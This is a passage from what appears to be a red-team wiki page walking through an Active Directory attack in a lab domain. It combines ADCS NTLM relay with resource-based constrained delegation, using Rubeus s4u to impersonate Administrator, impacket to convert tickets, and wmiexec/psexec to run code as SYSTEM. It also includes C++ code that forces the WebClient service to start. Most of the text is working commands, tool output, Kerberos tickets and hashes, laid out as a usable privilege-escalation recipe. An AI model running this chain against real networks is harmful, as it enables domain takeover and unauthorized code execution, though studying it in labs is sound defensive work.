      BPqreQykU0vJksgkSAdErfxvIDMrzKaDLa+ejkDNbX6gxx/TV/f7HuWiHV11ixcDQwJ53KAbwBUQLZOl
101
      Ujg/aYB3cjkQckRhxwEidoJL08z6vOwB3TJ1ecxi381KJ6zsWlKzs+V4HX1KHEkaS4O//zD2Tazb3nM1
102
      2hU2mx08FclzWs//3iZL3cBV+gn1RONVPVgUVCDObh6JaGhel4gBXjmVWPg7o6SaHSwe0c5jFBphkZvo
103
      dqY9pk0PA6/muzPfGHIXWlCbHg5lj6B1U3eynFmB4t1lkp4yNAS8Vtm4i4KwEmCNOWkkAFPeKMIzai7R
104
      rxEwqKF6+Ydq4q5ZIKN44OvnpaVidMAPC31fimin6D8uuEs3U4xOBDGZpgyk7iOTM7yIwpSthjqwbhue
105
      ErnnzHdewdruZBV+CJGLcUFoP0lv2ER9TdS6k3t5qd3TwTTEjZL4mMJhrneaPycDRR99dd/HXzbfooJn
106
      ntrpxUR8/NFKWZXew5ikspplUB94GsHlZt1NurkVOMVgdrTLEn7Vja19h53xS8ZRi+Vmw+1ODNwA2TSm
107
      VZ31yVNJ99v+1aOB7zCB7KADAgEAooHkBIHhfYHeMIHboIHYMIHVMIHSoBswGaADAgERoRIEEOaE0pD8
108
      WRKTyKQ8BHkC/O2hDxsNT0ZGRU5TRS5MT0NBTKIoMCagAwIBCqEfMB0bG2FkbWluaXN0cmF0b3JAb2Zm
109
      ZW5zZS5sb2NhbKMHAwUAQKEAAKURGA8yMDIxMDczMTIwMDcxOVqmERgPMjAyMTA4MDEwNjA3MTlapxEY
110
      DzIwMjEwODA3MjAwNzE5WqgPGw1PRkZFTlNFLkxPQ0FMqSUwI6ADAgECoRwwGhsEY2lmcxsSd3MwMS5v
111
      ZmZlbnNlLmxvY2Fs
112
[+] Ticket successfully imported!
Copied!
s4u successfully retrieves appropriate TGT and TGS
We can now try to access WS01 c$ share from CA01 to confirm if we've gained administrative access over WS01:
1
ls \\ws01.offense.local\c$
Copied!
C$ share being listed on WS01 from CA01
WebClient Service
For the above attack to work, the target system WS01 has to have the WebClient service running:
WebClient service running on WS01
WebClient service is not running on computers by default and normally you'd need admin rights to start it, however it's possible to force the service to start using the below code:
webclient.cpp
1
// Code from https://www.tiraniddo.dev/2015/03/starting-webclient-service.html
2
#include <Windows.h>
3
#include <evntprov.h>
4
​
5
int main()
6
{
7
    const GUID _MS_Windows_WebClntLookupServiceTrigger_Provider =
8
    { 0x22B6D684, 0xFA63, 0x4578,
9
    { 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7 } };
10
​
11
        REGHANDLE Handle;
12
    bool success = false;
13
​
14
    if (EventRegister(&_MS_Windows_WebClntLookupServiceTrigger_Provider,
15
        nullptr, nullptr, &Handle) == ERROR_SUCCESS)
16
    {
17
        EVENT_DESCRIPTOR desc;
18
        EventDescCreate(&desc, 1, 0, 0, 4, 0, 0, 0);
19
        success = EventWrite(Handle, &desc, 0, nullptr) == ERROR_SUCCESS;
20
        EventUnregister(Handle);
21
    }
22
​
23
    return success;
24
}
Copied!
Below shows WebClient service is not running on WS01 and we cannot start it, however, executing the above code (webclient.cpp compiled as webclient.exe) kicks off the WebClient service for us:
Forcing the WebClient service to run
RBCD: Local Computer TakeOver / Local Privilege Escalation
It's also possible to leverage the ADCS NTLM relay + Resource Based Constrained Delegation (RBCD) to escalate privileges on a local computer, if regular domain users can create new machine/computer accounts in AD, which they are by default, as specified in the domain root object's attribute ms-DS-MachineAccountQuota: 10, as seen below:
Regular users can add up to 10 machine accounts in the domain by default
Ability to create machine accounts applies when talking about remote computer takeover too.
Lab Setup
This part of the lab is setup with the following computers and servers:
10.0.0.5 - Kali box with NTLM relay;
10.0.0.7 - Windows worksation WS01. This is the box we will coerce to authenticate our Kali box, which will relay the authentication to DC01 and setup the computer WS01 for RBCD attack;
10.0.0.6 - Domain Controller DC01;
Calculating Hash
Building on the previous successful NTLM relay, where we forced the WS01$ to authenticate to our Kali box (where our NTLM relay was listening), we got a new machine account QUAIIVVE$ created with a password K_-Jzsb&uK!`TIH. Let's re-calculate the password's hash:
1
PS C:\Users\spotless\Desktop> .\Rubeus.exe hash /domain:offense.local /user:QUAIIVVE$ /password:"K_-Jzsb&uK!``TIH"
2
​
3
   ______        _
4
  (_____ \      | |
5
   _____) )_   _| |__  _____ _   _  ___
6
  |  __  /| | | |  _ \| ___ | | | |/___)
7
  | |  \ \| |_| | |_) ) ____| |_| |___ |
8
  |_|   |_|____/|____/|_____)____/(___/
9
​
10
  v1.6.4
11
​
12
​
13
[*] Action: Calculate Password Hash(es)
14
​
15
[*] Input password             : K_-Jzsb&uK!`TIH
16
[*] Input username             : QUAIIVVE$
17
[*] Input domain               : offense.local
18
[*] Salt                       : OFFENSE.LOCALhostquaiivve.offense.local
19
[*]       rc4_hmac             : 3F55290748348504327CDA267FCCA190
20
[*]       aes128_cts_hmac_sha1 : C0CB489DC3C96151AC20AD6E2A2EC160
21
[*]       aes256_cts_hmac_sha1 : E73CA03A03704931A928806FDBA8993FDA47404A4EA1F66BA1A64EFD90AA5F69
22
[*]       des_cbc_md5          : A8B625105779671C
Copied!
Password hash calculations
Impersonating Domain Admin on WS01
We can now perform the S4U against WS01, where we currently have low privileged access, but want to elevate to administrator:
1
PS C:\Users\spotless\Desktop> .\Rubeus.exe s4u /user:QUAIIVVE$ /aes256:E73CA03A03704931A928806FDBA8993FDA47404A4EA1F66BA1A64EFD90AA5F69 /impersonateuser:Administrator /msdsspn:host/ws01.offense.local /altservice:cifs /nowrap /ptt
2
​
3
   ______        _
4
  (_____ \      | |
5
   _____) )_   _| |__  _____ _   _  ___
6
  |  __  /| | | |  _ \| ___ | | | |/___)
7
  | |  \ \| |_| | |_) ) ____| |_| |___ |
8
  |_|   |_|____/|____/|_____)____/(___/
9
​
10
  v1.6.4
11
​
12
[*] Action: S4U
13
​
14
[*] Using aes256_cts_hmac_sha1 hash: E73CA03A03704931A928806FDBA8993FDA47404A4EA1F66BA1A64EFD90AA5F69
15
[*] Building AS-REQ (w/ preauth) for: 'offense.local\QUAIIVVE#x27;
16
[+] TGT request successful!
17
[*] base64(ticket.kirbi):
18
​
19
      doIFIjCCBR6gAwIBBaEDAgEWooIEIzCCBB9hggQbMIIEF6ADAgEFoQ8bDU9GRkVOU0UuTE9DQUyiIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDW9mZmVuc2UubG9jYWyjggPZMIID1aADAgESoQMCAQKiggPHBIIDwwZceX7rzd6MgVy9Sp4ojTXQP5wVAuFouB0dIiYddAwR2292F6slGNoWvLGD50UnPxiNh3uTvYabPTdD4opUY498Sraj9ObM0/mL812DVYqO1bw7MdcWGKRl429SaW/Of8Prvn5DplNVV7Guv/3/HhIGpUNCdWs/CSm22EE8gHTNuy0Csbm/NhR5pvptMyxpFtUve52f4sxdQ2S9C2gY+Q5mKC6yW5dE3r5SHZd0J0rMp0p/wVIrtlTvZyDEfm9Vnk8EtqcS5JrtD92OZdhtfhMYtBdPOM8qrwKrz0/pHQv+VARUq2CuKr9bHaJ9perELUN8LUCQV4mRsMPB9BREXQEOk7BR9SN97g5r27jWT4xWKJFprXj+lUq2hPEyQLMG4ty4ACqv1pzmRT29VPJeA/SZXPraMkBtfcbaX3PX2XCuWP7FLxO9EcTIqNMrOM15woCLL5l18k2Z2laOMAPjsRThqRPDRHSHW01BffxiG8kAkvwW9MC/9nukUshpgNByVOgEpPFmkHAcPH9+P/QSikqsJk9mQ6ZUcvsX2nHnfFKUe+stpqilOPoxWN9yOgMuQoBddfuhQ97PStqNkRlIxffMSf61w1Yvwmh5zL8lzg+ylnqN3RfBZ8j6WJ29bZWSgjrullnowTAuU45jLIWjAGVm6JZU8XfVHMwclCI+mFZbrN6p4ms3u54o7ha28Wj5Z84pfkghl5kGE8blFzplvQ9SXbVKYxLDBSLx7AyweUdAf211gaq8UeuikWRj3IWOmqvUg3WHDNVjB5i3H1AU71OQcyKQrLB4ThLWw/Ik9VpgDjkeUpy04VRIFZhr4YccMM3flLkrw1yUtTce+AGQaZEiDMsbFb6e943DzWW3Dok90s60FCc54izuXikpqYImtZS6kFyTstYmwulj6sMl8wjSoS1fnLvJW3fJk1Z1Go+eDxzfpZu/C+vvGScyl94HkLE/qy3iTSj5UMtoDMiGImlFO0+4RJMZaoxDiQA/q/IhX5RzLSGSinl+MR7smqkJqQMrgtKTw4XWa0G6tcisKTXBIKF5qhLPhf0hPE8hell40cJFAU4pOr7EIVrLdZzj0ygCg+1yWHyoQ0QBywlPqcSdAJzT4EreLxSWq72qB373AiLDvtHR2duzqmrWQG7pL+SSc1ySN5PaQ88AsuT5z9YDEGDEjR+rqqi91B3kOgZKbPCZKABroljUnFyQ9Y5dbn+KUr8Zz+jxkHw5vEgQ4sxbJndVum4/uAObv/jnyv94PuU+d7VhRIUYvMhg1pilQPOeC6OB6jCB56ADAgEAooHfBIHcfYHZMIHWoIHTMIHQMIHNoCswKaADAgESoSIEIL6+8li8w8EpUu/s9n5HRvCeWxNCmjzJ0B3XDi7BldVooQ8bDU9GRkVOU0UuTE9DQUyiFjAUoAMCAQGhDTALGwlRVUFJSVZWRSSjBwMFAEDhAAClERgPMjAyMTA4MDUyMTM1MDZaphEYDzIwMjEwODA2MDczNTA2WqcRGA8yMDIxMDgxMjIxMzUwNlqoDxsNT0ZGRU5TRS5MT0NBTKkiMCCgAwIBAqEZMBcbBmtyYnRndBsNb2ZmZW5zZS5sb2NhbA==
20
​
21
​
22
[*] Action: S4U
23
​
24
[*] Using domain controller: dc01.offense.local (10.0.0.6)
25
[*] Building S4U2self request for: '[email protected]'
26
[*] Sending S4U2self request
27
[+] S4U2self success!
28
[*] Got a TGS for 'Administrator' to '[email protected]'
29
[*] base64(ticket.kirbi):
30
​
31
      doIFVjCCBVKgAwIBBaEDAgEWooIEbzCCBGthggRnMIIEY6ADAgEFoQ8bDU9GRkVOU0UuTE9DQUyiFjAUoAMCAQGhDTALGwlRVUFJSVZWRSSjggQxMIIELaADAgEXoQMCAQGiggQfBIIEG7pIIqtIfCHKYJ41k2k+R5rEA9Xs+9hdpOyBseCmS6+7UKUAfDHoNuugUXdrP0sAczQS/dsImnKzE2rWwV0sutCPVBD0RtmZRTN3RqI5WSODF5yQH/WPO8YyCD1ZxLOdHrJctk/Kq8ElX6esRKqrsQDyJTxpJ4HCfIDEyT92Iyhg6Xr7qOrlqYZMEFOunRK/YrvF/EeFmfT7p80PTp5uy4qOsS1zZVB3QOFnV7ocVS2AUq/Ds/rEIRK896c6oAlokl60d/Gh5ori05srnzeqX0Ym1n5aDNKF4ImnD4ec6kYTjahds++6PjqQ2RdOyVTH7Gyq3Jsjlo0QVtxB1noqk4W1XbQ7dpyzjIXhSehiM5d6gES1u1iu+X0WWa+sYlSFgIV1U1Li+jk+1os2BX9OtpkZPdQF9oObZsUj0vwysyg21CoiM2tbZX5nvVca4XKfqF+EItG1PEImse3WDWT+xA3zTWiw+FZ2n0rzcY4hu67xvXW92ddjJAXPJqmOaUeDpbc2s1adFl8SKTgn5ec3pr4W4bRPTEgLHZRr+6fF7olvzNdY+V8RBZizfd3rIC7SBVBHuDl1IeUs+NVUz5293QxnCipntmhebEFjezLVvvHdbsyFXYf8y5WciN2+d95j5WCTX9bGhUKlGBbCJvamtlFZhrSvMZiIPLP6bGesI6mgXnK78X2gvlZcCCV+5a/rxCP/EaytNTGXbSo3aPHz6e7Czh8OuaKrmUPo7cLR2ZzurmUneVfyoVl0vQtL0ngwKC3ze2zhCX12u33JFY21VfnBHxQB79egNWe+IgKmqDk96/JBfAuJ7fYMob/ftchappSqMOerbkB0bZACSwbLkrngiZ8RhQ8iB07r/zd/ou+bStFa1QayJovGiC3s1tdhJcqQ5S0WadDdIELrJClYpSP30brFaIbxweiQl6H/WzPySiCd/hzUvXuvhDSwXV5960mllFSMxBkIhf81yCE67/ivUkZbSEOFunP8FbvCjHz23o10K4nEs6WqGavWBbUznX1KyvFPDem0+ELMxIrO2dqgjsBs+CVzm4dRi0WQr/VBbxArL6nxBxTey9HFZf1HZX3+XesrXUZBVfVyIwB1d0a2MmId00sOKhiZtnLwdb9OHBS4RU5HV70hlEZFOH4WSY6Pbv4e5ExxJOSeOGq8Ysh7Ex9WyEVcbVHXtmNalJGfxnvtjp4uF35Uvkg1zzFxCYG5XE+9tCn/QCl94xsiDGyYWwTqstXiGBoIZtDCs89RfWWo9NWqG1isKdPy9NQSq3htM1YjS9gv7G9b7YJaRNwgeb5s1Y1YqDDdaYGC3yfRnqrHStokGo8OSLwKD+F2ZQuQgODQiY7PfhBq5jCKpvAiTomwL43OxKswMBB4r+0XWrL0sZin8d7SUr6jgdIwgc+gAwIBAKKBxwSBxH2BwTCBvqCBuzCBuDCBtaAbMBmgAwIBF6ESBBD1cF+spxbTXDsrdF5xIsmdoQ8bDU9GRkVOU0UuTE9DQUyiGjAYoAMCAQqhETAPGw1BZG1pbmlzdHJhdG9yowcDBQAAoQAApREYDzIwMjEwODA1MjEzNTA2WqYRGA8yMDIxMDgwNjA3MzUwNlqnERgPMjAyMTA4MTIyMTM1MDZaqA8bDU9GRkVOU0UuTE9DQUypFjAUoAMCAQGhDTALGwlRVUFJSVZWRSQ=
32
​
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[*] Impersonating user 'Administrator' to target SPN 'host/ws01.offense.local'
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[*]   Final ticket will be for the alternate service 'cifs'
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[*] Using domain controller: dc01.offense.local (10.0.0.6)
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[*] Building S4U2proxy request for service: 'host/ws01.offense.local'
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[*] Sending S4U2proxy request
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[+] S4U2proxy success!
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[*] Substituting alternative service name 'cifs'
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[*] base64(ticket.kirbi) for SPN 'cifs/ws01.offense.local':
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​
42
      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[+] Ticket successfully imported!
Copied!
Above and below shows how a TGS for [email protected] is granted access to cifs/ws01.offense.local:
TGS for [email protected] issued to access cifs/ws01.offense.local
Decoding TGS to .kirbi
On a Kali box, let's base64 decode the TGS we got for [email protected] to cifs/ws01.offense.local and save it as admin.kirbi:
1
echo "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" | base64 -d > admin.kirbi
Copied!
TGS base64 decoded and saved to a kirbi file
Converting .kirbi Ticket to .ccache
Use impacket's tool ticketConverter to convert the .kirbi file to .ccache file like so:
1
examples/ticketConverter.py ../admin.kirbi admin.ccache
Copied!
Converting .kirbi to .ccache
Exporting KRB5CCNAME
Now we need to export the KRB5CCNAME variable and point it to our admin.ccache file:
1
export KRB5CCNAME=admin.ccache
Copied!
KRB5CCNAME variable exported
Executing Code as Domain Admin on WS01
We can now use impacket's wmiexec to execute commands on WS01 as administrator:
1
examples/wmiexec.py -k -no-pass offense.local/[email protected]
Copied!
Code execution on WS01 as offense\administrator
Privileged code execution on WS01 can also be achieved using impacket's psexec:
psexec executes code on ws01 from 10.0.0.5 with SYSTEM privileges
Note
RBCD for local privilege escalation could also be performed:
by leveraging a compromised user with SPN set, assuming you have WRITE privilege over the computer's you want to compromise, AD object as described here. 
via socks proxy and remote port forwarding as described here, which reduces the need to have a Linux box inside the compromised network with an NTLM relay listener set up.
Note to self: what a beautiful attack vector this is.
References
https://posts.specterops.io/certified-pre-owned-d95910965cd2
posts.specterops.io
KB5005413: Mitigating NTLM Relay Attacks on Active Directory Certificate Services (AD CS)
The worst of both worlds: Combining NTLM Relaying and Kerberos delegation
dirkjanm.io
The worst of both worlds: Combining NTLM Relaying and Kerberos delegation
dirkjanm.io
Red Team Privilege Escalation - RBCD Based Privilege Escalation - Part 2 - Praetorian
Praetorian
Chaining multiple techniques and tools for domain takeover using RBCD
Global
Active Directory Lab with Hyper-V and PowerShell
Next - offensive security
Red Team Infrastructure
Last modified 12d ago